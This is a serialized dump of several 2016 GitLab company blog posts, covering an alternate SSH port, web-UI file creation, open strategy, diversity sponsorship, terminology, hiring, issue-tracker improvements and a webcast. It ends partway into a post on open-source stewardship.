to do is edit your `~/.ssh/config` and change the way you\nconnect to GitLab.com. The two notable changes are `Hostname` and `Port`:\n\n```\nHost gitlab.com\n  Hostname altssh.gitlab.com\n  User git\n  Port 443\n  PreferredAuthentications publickey\n  IdentityFile ~/.ssh/gitlab\n```\n\nThe first time you push to `altssh.gitlab.com` you will be asked to verify\nthe server's key fingerprint:\n\n```\nThe authenticity of host '[altssh.gitlab.com]:443 ([104.208.154.249]:443)' can't be established.\nECDSA key fingerprint is SHA256:HbW3g8zUjNSksFbqTiUWPWg2Bq1x8xdGUrliXFzSnUw.\nAre you sure you want to continue connecting (yes/no)?\n```\n\nThat's only normal since you are connecting to the new loadbalancer. If you\nwatch closely, the key fingerprint is\n[the same as in GitLab.com](/pricing/).\n\n",{"slug":38894,"featured":6,"template":678},"gitlab-dot-com-now-supports-an-alternate-git-plus-ssh-port","content:en-us:blog:gitlab-dot-com-now-supports-an-alternate-git-plus-ssh-port.yml","Gitlab Dot Com Now Supports An Alternate Git Plus Ssh Port","en-us/blog/gitlab-dot-com-now-supports-an-alternate-git-plus-ssh-port.yml","en-us/blog/gitlab-dot-com-now-supports-an-alternate-git-plus-ssh-port",{"_path":38900,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38901,"content":38906,"config":38910,"_id":38912,"_type":16,"title":38913,"_source":17,"_file":38914,"_stem":38915,"_extension":20},"/en-us/blog/feature-highlight-create-files-and-directories-from-files-page",{"title":38902,"description":38903,"ogTitle":38902,"ogDescription":38903,"noIndex":6,"ogImage":12013,"ogUrl":38904,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38904,"schema":38905},"Feature Highlight: Create files and directories from the Files page","In this feature highlight we look at how you can create a new file, directory, branch or tag from the file browser.","https://about.gitlab.com/blog/feature-highlight-create-files-and-directories-from-files-page","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Create files and directories from the Files page\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Drew Blessing\"}],\n        \"datePublished\": \"2016-02-10\",\n      }",{"title":38902,"description":38903,"authors":38907,"heroImage":12013,"date":38908,"body":38909,"category":734},[38020],"2016-02-10","\n\nSometimes it's easier to make quick changes directly from the GitLab interface\nthan to clone the project and use the Git command line tool. In this feature\nhighlight we look at how you can create a new file, directory, branch or\ntag from the file browser. All of these actions are available from a single\ndropdown menu.\n\n\u003C!-- more -->\n\n## Create a file\n\nFrom a project's files page, click the '+' button to the right of the branch selector.\nChoose 'New file' from the dropdown.\n\n![New file dropdown menu](https://about.gitlab.com/images/create_files/new_file_dropdown.png)\n\nEnter a file name in the 'File name' box. Then, add file content in the editor\narea. Add a descriptive commit message and choose a branch. The branch field\nwill default to the branch you were viewing in the file browser. If you enter\na new branch name, a checkbox will appear allowing you to start a new merge\nrequest after you commit the changes.\n\nWhen you are satisfied with your new file, click 'Commit Changes' at the bottom.\n\n![Create file editor](https://about.gitlab.com/images/create_files/new_file_editor.png)\n\n## Upload a file\n\nThe ability to create a file is great when the content is text. However, this\ndoesn't work well for binary data such as images, PDFs or other file types. In\nthis case you need to upload a file.\n\nFrom a project's files page, click the '+' button to the right of the branch\nselector. Choose 'Upload file' from the dropdown.\n\n![Upload file dropdown menu](https://about.gitlab.com/images/create_files/upload_file_dropdown.png)\n\nOnce the upload dialog pops up there are two ways to upload your file. Either\ndrag and drop a file on the pop up or use the 'click to upload' link. A file\npreview will appear once you have selected a file to upload.\n\nEnter a commit message, choose a branch, and click 'Upload file' when you are\nready.\n\n![Upload file dialog](https://about.gitlab.com/images/create_files/upload_file_dialog.png)\n\n## Create a directory\n\nTo keep files in the repository organized it is often helpful to create a new\ndirectory.\n\nFrom a project's files page, click the '+' button to the right of the branch selector.\nChoose 'New directory' from the dropdown.\n\n![New directory dropdown](https://about.gitlab.com/images/create_files/new_directory_dropdown.png)\n\nIn the new directory dialog enter a directory name, a commit message and choose\nthe target branch. Click 'Create directory' to finish.\n\n![New directory dialog](https://about.gitlab.com/images/create_files/new_directory_dialog.png)\n\n## Tip\n\nWhen creating or uploading a new file, or creating a new directory, you can\ntrigger a new merge request rather than committing directly to master. Enter\na new branch name in the 'Target branch' field. You will notice a checkbox\nappear that is labeled 'Start a new merge request with these changes'. After\nyou commit the changes you will be taken to a new merge request form.\n\n![Start a new merge request with these changes](https://about.gitlab.com/images/create_files/start_new_merge_request.png)\n\n## Create a new branch\n\nIf you want to make changes to several files before creating a new merge\nrequest, you can create a new branch up front. From a project's files page,\nchoose 'New branch' from the dropdown.\n\n![New branch dropdown](https://about.gitlab.com/images/create_files/new_branch_dropdown.png)\n\nEnter a new 'Branch name'. Optionally, change the 'Create from' field\nto choose which branch, tag or commit SHA this new branch will originate from.\nThis field will autocomplete if you start typing an existing branch or tag.\nClick 'Create branch' and you will be returned to the file browser on this new\nbranch.\n\n![New branch page](https://about.gitlab.com/images/create_files/new_branch_page.png)\n\nYou can now make changes to any files, as needed. When you're ready to merge\nthe changes back to master you can use the widget at the top of the screen.\nThis widget only appears for a period of time after you create the branch or\nmodify files.\n\n![New push widget](https://about.gitlab.com/images/create_files/new_push_widget.png)\n\n## Create a new tag\n\nTags are useful for marking major milestones such as production releases,\nrelease candidates, and more. You can create a tag from a branch or a commit\nSHA. From a project's files page, choose 'New tag' from the dropdown.\n\n![New tag dropdown](https://about.gitlab.com/images/create_files/new_tag_dropdown.png)\n\nGive the tag a name such as `v1.0.0`. Choose the branch or SHA from which you\nwould like to create this new tag. You can optionally add a message and\nrelease notes. The release notes section supports markdown format and you can\nalso upload an attachment. Click 'Create tag' and you will be taken to the tag\nlist page.\n\n![New tag page](https://about.gitlab.com/images/create_files/new_tag_page.png)\n",{"slug":38911,"featured":6,"template":678},"feature-highlight-create-files-and-directories-from-files-page","content:en-us:blog:feature-highlight-create-files-and-directories-from-files-page.yml","Feature Highlight Create Files And Directories From Files Page","en-us/blog/feature-highlight-create-files-and-directories-from-files-page.yml","en-us/blog/feature-highlight-create-files-and-directories-from-files-page",{"_path":38917,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38918,"content":38924,"config":38928,"_id":38930,"_type":16,"title":38931,"_source":17,"_file":38932,"_stem":38933,"_extension":20},"/en-us/blog/gitlab-open-strategy",{"title":38919,"description":38920,"ogTitle":38919,"ogDescription":38920,"noIndex":6,"ogImage":38921,"ogUrl":38922,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38922,"schema":38923},"GitLab's Open Strategy","We've just created and published our Strategy document to make our choices clear as they relate to our strategic objectives.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683642/Blog/Hero%20Images/moving-parts2.jpg","https://about.gitlab.com/blog/gitlab-open-strategy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's Open Strategy\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-02-09\",\n      }",{"title":38919,"description":38920,"authors":38925,"heroImage":38921,"date":38926,"body":38927,"category":6634},[3532],"2016-02-09","\n\nWe've just created and published our [Strategy document][strategy]\nto make our choices clear as they relate to our strategic objectives.\n\n\u003C!-- more -->\n\nPreviously, we opened up our [roadmap][direction] and our entire [employee handbook][handbook].\nWe also outlined our dedication to being [a good open source steward][stewardship].\n\nHaving our Strategy document in the open will help users understand why\nwe make certain choices at GitLab, Inc.\nWe can be held accountable to these choices as well.\n\nThe Strategy document is comprehensive.\nOur prime objective is to *ensure that everyone can contribute*.\nWe outline our set of assumptions and the constraints under which we operate.\nWe include our tactical plans for 2016 for all aspects of our business.\nWe want to share this with the entire GitLab community so you know how\nand why important decisions are being made.\n\nWe think having our Strategy in the open will make it better for users and it will make\nthe product better.\nWe will get more feedback and potential team members can self-select\nby learning about the driving forces behind our choices.\n\nOften users are left wondering and speculating why companies do certain things.\nWe feel you have every right to know.\nFrom what we prioritize and the investment burden we take on,\nto the initiatives we support and the incentives we give our team:\nAll of these choices affect how GitLab operates and that, in turn, affects\nyour experience as a user.\n\nPlease do read our [Strategy document][strategy], and as always,\neveryone can contribute.\nMerge requests to suggest improvements to the Strategy document are welcome.\n\n[stewardship]: /blog/being-a-good-open-source-steward/\n[direction]: /direction/\n[handbook]: /handbook/\n[strategy]: /company/strategy/\n",{"slug":38929,"featured":6,"template":678},"gitlab-open-strategy","content:en-us:blog:gitlab-open-strategy.yml","Gitlab Open Strategy","en-us/blog/gitlab-open-strategy.yml","en-us/blog/gitlab-open-strategy",{"_path":38935,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38936,"content":38941,"config":38945,"_id":38947,"_type":16,"title":38948,"_source":17,"_file":38949,"_stem":38950,"_extension":20},"/en-us/blog/gitlab-diversity-sponsorship",{"title":38937,"description":38938,"ogTitle":38937,"ogDescription":38938,"noIndex":6,"ogImage":37745,"ogUrl":38939,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38939,"schema":38940},"GitLab Offer Sponsorship of $500 for Diversity Events","In order to help to expand these initiatives, we’re offering $500 to any diversity in tech event globally.","https://about.gitlab.com/blog/gitlab-diversity-sponsorship","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Offer Sponsorship of $500 for Diversity Events\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley Smith\"}],\n        \"datePublished\": \"2016-02-02\",\n      }",{"title":38937,"description":38938,"authors":38942,"heroImage":37745,"date":38943,"body":38944,"category":299},[37467],"2016-02-02","\nNote: An earlier version of this post opened this sponsorship to anyone outside of New York and the Bay Area but we've removed that restriction.   \n\nImproving diversity in tech has become an important issue in the last few years.\nOrganizations and events tailored specifically for underrepresented groups\nare getting increasingly popular and it has been amazing to watch the progress\nin the tech world. While we aren’t completely on equal footing yet,\nthere are many people making great strides.\nI’ve attended and helped organize many of these events and would like to\nhelp broaden that reach to beyond the major tech centers of the U.S.\n\n\u003C!--more-->\n\nIn order to help to expand these initiatives, we’re offering $500 to any\ndiversity in tech event globally.\nIn order to gain sponsorship, please email us at community@gitlab.com with\nthe subject line “Diversity in tech” and include details about your event with a link to registration and any supporting documentation.\nYou can also review our [community sponsorship program and complete the form there](/community/sponsorship/).\n\nIf your event is in a city where we have a GitLab team-member, we’ll be happy\nto help coach or give a talk if possible.\nCheck out our [team map](/company/team/) to see where we are.\nJust let us know where you are and we’ll see how we can help.\n\nWe’ve already sponsored [RailsGirls](http://railsgirls.com/) events\nand [MeHackIt](http://mehackit.org/) and can’t wait to work with\neven more organizations globally.\n\nHappy hacking!\n",{"slug":38946,"featured":6,"template":678},"gitlab-diversity-sponsorship","content:en-us:blog:gitlab-diversity-sponsorship.yml","Gitlab Diversity Sponsorship","en-us/blog/gitlab-diversity-sponsorship.yml","en-us/blog/gitlab-diversity-sponsorship",{"_path":38952,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38953,"content":38959,"config":38963,"_id":38965,"_type":16,"title":38966,"_source":17,"_file":38967,"_stem":38968,"_extension":20},"/en-us/blog/comparing-terms-gitlab-github-bitbucket",{"title":38954,"description":38955,"ogTitle":38954,"ogDescription":38955,"noIndex":6,"ogImage":38956,"ogUrl":38957,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38957,"schema":38958},"Comparing Confusing Terms in GitHub, Bitbucket, and GitLab","In this post, we have a handy reference guide to explain some potentially confusing terms, especially if you're new to GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666738/Blog/Hero%20Images/trees-raysoflight.jpg","https://about.gitlab.com/blog/comparing-terms-gitlab-github-bitbucket","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comparing Confusing Terms in GitHub, Bitbucket, and GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2016-01-27\",\n      }",{"title":38954,"description":38955,"authors":38960,"heroImage":38956,"date":38961,"body":38962,"category":8943},[38561],"2016-01-27","\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fas fa-exclamation-triangle\" style=\"font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nPlease read the [up-to-date version of this article](/blog/comparing-confusing-terms-in-github-bitbucket-and-gitlab/)!\n&nbsp;&nbsp;\u003Ci class=\"fas fa-exclamation-triangle\" style=\"font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\n{::options parse_block_html=\"false\" /}\n\nDevelopers rely on multiple platforms to manage repositories, depending on\nclient and project needs.\nThey might contribute to a community project on GitHub, while working on one\nclient's on premises GitLab instance and another client's project in Mercurial\non Bitbucket.\nConfusion can arise when you switch between platforms.\nIn this post, we have a handy reference guide to explain\nsome potentially confusing terms, especially if you're new\nto GitLab.\n\n\u003C!--more-->\n\nWith the [8.4 Release][release], GitLab has improved migration support for\nthose coming from GitHub to GitLab.\nGitLab now [imports][imports] your repositories, wikis, issues and\npull requests from GitHub.\nWhile most terminology is shared\nbetween the platforms, some differences lead to confusion\nfor users.\nGit-specific terms like commits, push, and so forth are the same.\nCommon features most repository managers have are also the same: such as users, issues, webhooks, etc.\n\nHowever some features have different names.\nFor example a “pull request” in GitHub and Bitbucket is called a “merge request” in GitLab.\nWe figured since you're often making a request to `merge` a feature branch into the master branch, we call this a\n\"merge request\" and you'll hear us talk about MRs and not PRs.\n\nIf you’re brand new to GitLab, we’ve made this handy cheat-sheet to help you orient yourself and clear things up.\n\n![The Import Project UI in GitLab showing you can import from GitHub, Bitbucket, etc](https://about.gitlab.com/images/blogimages/gitlab-terminology.png)\n\n## Teams, Repositories, Organizations?\n\nFrom teams to repositories to organizations, there’s a potential for fresh confusion.\nIn GitHub, *repositories* contain the Git/SVN repository, and the project assets\nsuch as issues, contribution metrics, etc.\nHowever users often refer to repos as *projects* interchangeably.\n\nSo in GitLab, we call that container a Project.\nThat includes the Git repository, issues, MRs, etc.\nWhen you configure a project, you can;\n\n- Choose [project features][projects].\n- Set the project avatar.\n- Set the visibility level for that project such as Private, Internal or Public.\n- Transfer it, remove it or archive it.\n- Configure [GitLab CI for a project][gitlabci].\n- Add [project-level services](https://docs.gitlab.com/ee/user/project/integrations/index.html) for third-party integrations.\n\nIt's important to make this distinction because you import *project* in\nGitLab, regardless of whether that is called a *repository* elsewhere.\n\n![The Import Project UI in GitLab showing you can import from GitHub, Bitbucket, etc](https://about.gitlab.com/images/blogimages/import-project.jpg)\n\nThis is where it could get confusing.\nNow Bitbucket groups multiple repositories into *Projects*, multiple projects into teams,\nand teams in Bitbucket are analogous to an *Organization* in GitHub.\n\nIn GitLab, we call this a *Group*.\nThis allows you to collect several projects together and also have members.\nThose members can then configure their own group-level notifications.\nProjects can be stored in only one group at once.\nHowever you can share a project with other groups in GitLab Enterprise Edition\n([available in GitLab Community Edition from 8.5 onward](https://gitlab.com/gitlab-org/gitlab-ce/issues/12831)).\nAnd even those settings can be locked at the group level so you can avoid\nsomeone sharing a private project to other groups, for example.\n\nThe confusion is understandable, especially if like many developers,\nyou work with a number of clients each on different platforms.\n\nI hope this has cleared up confusion. If you have any questions,\nyou can join us for a [live Q & A in our webcast][webcast] Thursday, January 28, 5pm (17:00) UTC; 12pm EST; 9am PST.\n\n[imports]: http://doc.gitlab.com/ce/workflow/importing/import_projects_from_github.html \"Importing from GitHub to GitLab\"\n[services]: https://docs.gitlab.com/ee/user/project/integrations/overview.html \"Configure Services for Projects\"\n[gitlabci]: http://doc.gitlab.com/ce/ci/yaml/README.html \"configure GitLab CI\"\n[projects]: http://doc.gitlab.com/ce/workflow/project_features.html \"Documentation of Project features\"\n[webcast]: http://page.gitlab.com/Jan282016Webcast.html \"Webcast: 8.4 Feature Walk-through\"\n[release]: /releases/2016/01/22/gitlab-8-4-released/ \"Announcing GitLab's 50th Release: 8.4\"\n[bitbucket]: https://blog.bitbucket.org/2016/01/21/distributed-teams-can-now-build-faster-with-bitbucket/ \"Bitbucket announces Projects\"\n",{"slug":38964,"featured":6,"template":678},"comparing-terms-gitlab-github-bitbucket","content:en-us:blog:comparing-terms-gitlab-github-bitbucket.yml","Comparing Terms Gitlab Github Bitbucket","en-us/blog/comparing-terms-gitlab-github-bitbucket.yml","en-us/blog/comparing-terms-gitlab-github-bitbucket",{"_path":38970,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38971,"content":38977,"config":38981,"_id":38983,"_type":16,"title":38984,"_source":17,"_file":38985,"_stem":38986,"_extension":20},"/en-us/blog/future-front-end-development",{"title":38972,"description":38973,"ogTitle":38972,"ogDescription":38973,"noIndex":6,"ogImage":38974,"ogUrl":38975,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38975,"schema":38976},"Help shape the future of the front end at GitLab","Help shape the future of the front end at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684579/Blog/Hero%20Images/kitchen.jpg","https://about.gitlab.com/blog/future-front-end-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Help shape the future of the front end at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Schatz\"}],\n        \"datePublished\": \"2016-01-25\",\n      }",{"title":38972,"description":38973,"authors":38978,"heroImage":38974,"date":38979,"body":38980,"category":6634},[31897],"2016-01-25","\n\nHi! I'm Jacob Schatz, Principal Front End Engineer at [GitLab]().\nWhen I started here at GitLab in December 2015, I felt like I’d joined the cool-kids club.\nI’d heard about the job on HackerNews, and thought, “I’ll apply for it and it would be awesome if I got it.” \nAnd I got the job! \n\nIt’s been a fantastic experience, and I’m glad to say we’re hiring more front end developers.\nWe have a unique challenge here at GitLab, working in an “open kitchen” together.\nWe must serve both a great front end user experience and a great developer experience. \n\nIf you’re curious about working at GitLab, read on. \n\n\u003C!-- more -->\n\n## What’s so different here\n\nThe big shocker for me coming to GitLab was that everybody is involved in the plan to move things forward. \nThat’s unusual. \nEven in small companies there’s usually an “upper management divide.” They’re making decisions you’re not aware of. \nThings will change in just one day, and you don’t know why. \n\nThe team here at GitLab is very transparent and everyone is working for the betterment of the product. \nBecause it’s a small team, this means we pitch in on all kinds of tasks. \nIt also means your skills improve. \n\nIn the beginning I had a lot of questions, and people were really good about answering them. \nI'm a JavaScript developer, so working with this amazing team of Ruby developer has made my Ruby knowledge skyrocket.\nWhen you submit a merge request, you are submitting it to the public; it must be top-notch.\n\n## The Open Kitchen of Open Source\n\nIt’s great to work in a company where it looks good on the inside of the product as well as the outside.\n\nIt’s like a kitchen. \nThere are some restaurants where, the [front of house](https://en.wikipedia.org/wiki/Restaurant_management#Front-of-the-House_management) might be nice, but you don’t want to see that kitchen. \nAll too often the quality of the code will lose out to the need for speed, to get it done quickly. \nClients traditionally can’t see the elegance of the code. Some don’t care. Make it work!\n\nWhereas at GitLab, where we are developing open source software, we’re working in an open kitchen. \nIt has to look as nice as the front of house. \n\nOpen source front end developers must serve two user experiences. \n\n- UX - the front end user experience for the users who interact with the UI of the application.\n- DX - the developer experience for the contributor who needs comprehensible code.\n\nYou’re dealing with stuff that is on the bleeding edge, and you’re doing it in a way that people can contribute. \nI want to make a way of coding and working with GitLab that will allow ease for end users, and more accessibility for contributors. \nWe have quite a challenge ahead, and we need your help. \n\n## Want to join us?\n\nI’m the first front end developer here at GitLab. \nI was most recently working for a digital agency developing applications and sites for large retail clients like Panera Bread. \nThese sites have tons of visitors and they have to work really well. \nThey have to be fast and extremely reliable. \nThat is what I want to bring to GitLab. \n\nWe’re hiring two more front end developers. \nOur Ruby architecture is rock-solid, and now we need to bring out front end architecture up to that level.\nIf you’re curious, you can see open issues and activity related to front end development at GitLab, right on the [job description](https://handbook.gitlab.com/job-families/engineering/development/frontend/). \nIn my interview with Job Van der Voort, VP of Product, we worked through a current frontend issue. \nOur current frontend is written in jQuery and CoffeeScript. \nOur code should be timeless in a way. \nWe need people who are really good at pure JavaScript, and don’t really care what framework we use.\n\nWe need people who are JavaScript veterans. \nI’m still a bit traumatized by the browser wars. \nI used to write CSS and JavaScript hacks for IE6. \nIf you were there, you’ll know what I mean. \nEven now when I see [`opacity`](http://caniuse.com/#feat=css-opacity) I think “Oh no, it's only partially supported in IE8!”\nHaving that depth of experience is important at GitLab. \nYou know why code should be well-written and [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) as much it should be a great interactive experience.\n\nSome people are really dead-set on particular frameworks. \nWe can’t come in and rewrite everything. \nGitLab is released monthly. \nWe move at pace. \nWe need to work on the many small issues and at the same time think on a bigger scale: what we can do to reduce the code complexity.\n\nWe need to take it one step at a time. \n\nIf you’re curious about working in an open kitchen with us, please check out the job description: [Front End Engineer](https://handbook.gitlab.com/job-families/engineering/development/frontend/).\n",{"slug":38982,"featured":6,"template":678},"future-front-end-development","content:en-us:blog:future-front-end-development.yml","Future Front End Development","en-us/blog/future-front-end-development.yml","en-us/blog/future-front-end-development",{"_path":38988,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38989,"content":38994,"config":38998,"_id":39000,"_type":16,"title":39001,"_source":17,"_file":39002,"_stem":39003,"_extension":20},"/en-us/blog/making-gitlab-better-for-large-open-source-projects",{"title":38990,"description":38991,"ogTitle":38990,"ogDescription":38991,"noIndex":6,"ogImage":12013,"ogUrl":38992,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38992,"schema":38993},"Making GitLab Better for Large Open Source Projects","Here we would like to share our thoughts about these issues and what we’re planning to do to make things better with GitLab.","https://about.gitlab.com/blog/making-gitlab-better-for-large-open-source-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Making GitLab Better for Large Open Source Projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2016-01-15\",\n      }",{"title":38990,"description":38991,"authors":38995,"heroImage":12013,"date":38996,"body":38997,"category":6634},[36660],"2016-01-15","\n\nDear open source maintainers,\n\nWe want GitLab to be the best place for any software project,\nwhether open source or not, whether big or small.\n\n[The letter of GitHub's open source community](https://github.com/dear-github/dear-github/tree/2f45c3255a55c3ac111817840537151d96e1649e)\nis clearly not addressed to us,\nbut we're thinking a lot about the issues that were mentioned in it.\nWe see many of these things happening and have been working on them for a long time,\nnot in the least because we develop on a [busy public issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues) ourselves.\n\nHere we would like to share our thoughts about these issues and\nwhat we’re planning to do to make things better with GitLab.\n\n\u003C!-- more -->\n\n## Major issues\n\n> Issues are often filed missing crucial information like reproduction steps or version tested.\n> We’d like issues to gain custom fields, along with a mechanism (such as a mandatory issue template,\n> perhaps powered by a newissue.md in root as a likely-simple solution) for ensuring they are filled out in every issue.\n\nIn GitLab you can [set a template for an issue and for a merge request](https://gitlab.com/gitlab-org/gitlab-ee/blob/master/doc/customization/issue_and_merge_request_template.md).\n\nWe're also planning to add [multiple templates](https://gitlab.com/gitlab-org/gitlab-ee/issues/101),\nthat you can use depending on the reason for making an issue.\n\nWe're also [interested in exploring](https://gitlab.com/gitlab-org/gitlab-ce/issues/8988)\ncustom (required) fields.\n\nUsing a `new_issue.md` file for templates is a nice idea, that we're happy\nto discuss [in this issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/9088).\n\n> Issues often accumulate content-less “+1” comments which serve only to spam the\n> maintainers and any others subscribed to the issue.\n> These +1s serve a valuable function in letting maintainers know how widespread an issue is,\n> but their drawbacks are too great. We’d like issues to gain a first-class voting system,\n> and for content-less comments like “+1” or “:+1:” or “me too” to trigger a warning\n> and instructions on how to use the voting mechanism.\n\nGitLab currently has a voting system that automatically transforms `+1` into\na vote. As we use GitLab ourselves for issue tracking _and_ feature voting,\nthis is something that has a high priority for us.\n\nWe've also planned [several improvements to votes](https://gitlab.com/gitlab-org/gitlab-ce/issues/3763)\nand welcome more ideas and merge requests.\n\n> Issues and pull requests are often created without any adherence to the\n> CONTRIBUTING.md contribution guidelines, due to the inconspicuous nature of\n> the “guidelines for contributing” link when creating an issue and the fact that\n> it often contains a lot of information that isn’t relevant to opening issues\n> (such as information about hacking on the project). Maintainers should be able\n> to configure a file in the repo (interpreted as GFM) to be displayed at the top\n> of the new issue / PR page instead of that link. Maintainers can choose to inline\n> content there and / or link to other pages as appropriate.\n\nCurrently, we provide links to `CONTRIBUTING.md` whenever you create an\nissue or merge request. At the moment you can also leverage the issue\ntemplate to point people to specific rules.\n\nWe're [interested in adding a custom contributing file on top of issues](https://gitlab.com/gitlab-org/gitlab-ce/issues/9083) in GitLab.\n\n## Responses to specific suggestions\n\nThe original letter also included a long list of suggestions.\nTo see our response to every single point, please view\n[this issue on GitLab.com](https://gitlab.com/gitlab-org/gitlab-ce/issues/8938).\n\nOne issue that was raised several times was the ability to not create\nmerge commits. In GitLab.com and EE you can, as an alternative to the merge commits,\n[use fast-forward merges](http://doc.gitlab.com/ee/workflow/ff_merge.html)\nor have [merge requests be automatically rebased](http://doc.gitlab.com/ee/workflow/rebase_before_merge.html).\n\n## How we all build GitLab\n\nGitLab is built in the open. Our decisions, doubts, and arguments about\nchanges to GitLab, new features, and everything else can all be found in our\nrepositories (mainly [GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce/issues)\nand [GitLab EE](https://gitlab.com/gitlab-org/gitlab-ee/issues)).\n\nEveryone is free to comment, create new issues, vote on, and\n[contribute to the development](http://contributors.gitlab.com/)\nof GitLab. We have short- and long-term goals, all of which are visible on the\nissues of the repositories and on the [direction page on the website](/direction/).\n\nIf you want to change something, create an issue or submit a merge request.\nYou can choose to implement something yourself, or ask someone else to do it.\nGreat ideas will always get the attention they need.\n",{"slug":38999,"featured":6,"template":678},"making-gitlab-better-for-large-open-source-projects","content:en-us:blog:making-gitlab-better-for-large-open-source-projects.yml","Making Gitlab Better For Large Open Source Projects","en-us/blog/making-gitlab-better-for-large-open-source-projects.yml","en-us/blog/making-gitlab-better-for-large-open-source-projects",{"_path":39005,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39006,"content":39011,"config":39015,"_id":39016,"_type":16,"title":39017,"_source":17,"_file":39018,"_stem":39019,"_extension":20},"/en-us/blog/webcast",{"title":39007,"description":39008,"ogTitle":39007,"ogDescription":39008,"noIndex":6,"ogImage":36849,"ogUrl":39009,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39009,"schema":39010},"Our first webcast and our 50th release","On January 22nd we'll release our 50th monthly release. We want to take this time to celebrate this milestone with GitLab users.","https://about.gitlab.com/blog/webcast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our first webcast and our 50th release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2016-01-13\",\n      }",{"title":39007,"description":39008,"authors":39012,"heroImage":36849,"date":39013,"body":39014,"category":299},[38561],"2016-01-13","\n\nOn January 22nd we'll release our 50th monthly release. We want to take this time to celebrate this milestone with GitLab users. You can join us for a [webcast](http://page.gitlab.com/Jan282016Webcast.html) the following week, Thursday, Jan 28th, 5pm (17:00) UTC; 12pm EST; 9am PS.\n\n\u003C!-- more -->\n\n\n## A walk-through tour\n\nJob van der Voort, our VP of Product, will give us a guided tour of the features of GitLab 8.4. These features include enhanced search capabilities and\nimproved importing from GitHub and GitLab.\n\nThere are also upgrades coming for popular features, such as GitLab CI and others. There are  improvements to artifact support, and the ability to add computing power with runner auto-queue. We're also working on CNAME support\nfor GitLab Pages, a feature in GitLab EE and available on GitLab.com.\n\n## A sneak peek!\n\nOK, it's hard to entice you with a \"sneak peek\" when [all of our development is in the open](/blog/future-direction-gitlab/).\nHowever, you will get an overview of the direction of GitLab, and where the project is heading.\n\nWe'll finish with a live Q+A with Job and Dmitriy Zaporozhets, the project founder and our CTO. They will also talk about how we manage the release process at GitLab, and what we've learned managing this project.\n\n\n## See you on the webcast\n\nWe hope to see you there, Thursday, January 28 at 5pm (17:00) UTC; 12pm EST; 9am PS.\n\n\u003Ca class=\"btn btn-primary\" href=\"http://page.gitlab.com/Jan282016Webcast.html\" role=\"button\">Register Now\u003C/a>\n",{"slug":3554,"featured":6,"template":678},"content:en-us:blog:webcast.yml","Webcast","en-us/blog/webcast.yml","en-us/blog/webcast",{"_path":39021,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39022,"content":39027,"config":39031,"_id":39033,"_type":16,"title":39034,"_source":17,"_file":39035,"_stem":39036,"_extension":20},"/en-us/blog/being-a-good-open-source-steward",{"title":39023,"description":39024,"ogTitle":39023,"ogDescription":39024,"noIndex":6,"ogImage":37819,"ogUrl":39025,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39025,"schema":39026},"Open Source Stewardship","We've recently detailed our policy and commitment to open source. We need to think in the interests of the project, while tending to the realities of running a business to support it.","https://about.gitlab.com/blog/being-a-good-open-source-steward","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Open Source Stewardship\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-01-11\",\n      }",{"title":39023,"description":39024,"authors":39028,"heroImage":37819,"date":39029,"body":39030,"category":6634},[3532],"2016-01-11","\n\nWe've recently [detailed our policy and commitment to open source](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/1106). We need to think in the interests of the project, while tending to the realities of running a business to support it. I wanted to share some of our thoughts around the decisions behind the policy.\n\n\u003C!-- more -->\n\n## The challenge of being an open source steward\n\nOn Opensource.com, Matthias Stürmer identified [four types of open source communities](http://opensource.com/business/13/6/four-types-organizational-structures-within-open-source-communities):\n\n- single-vendor open source projects\n- development communities\n- user 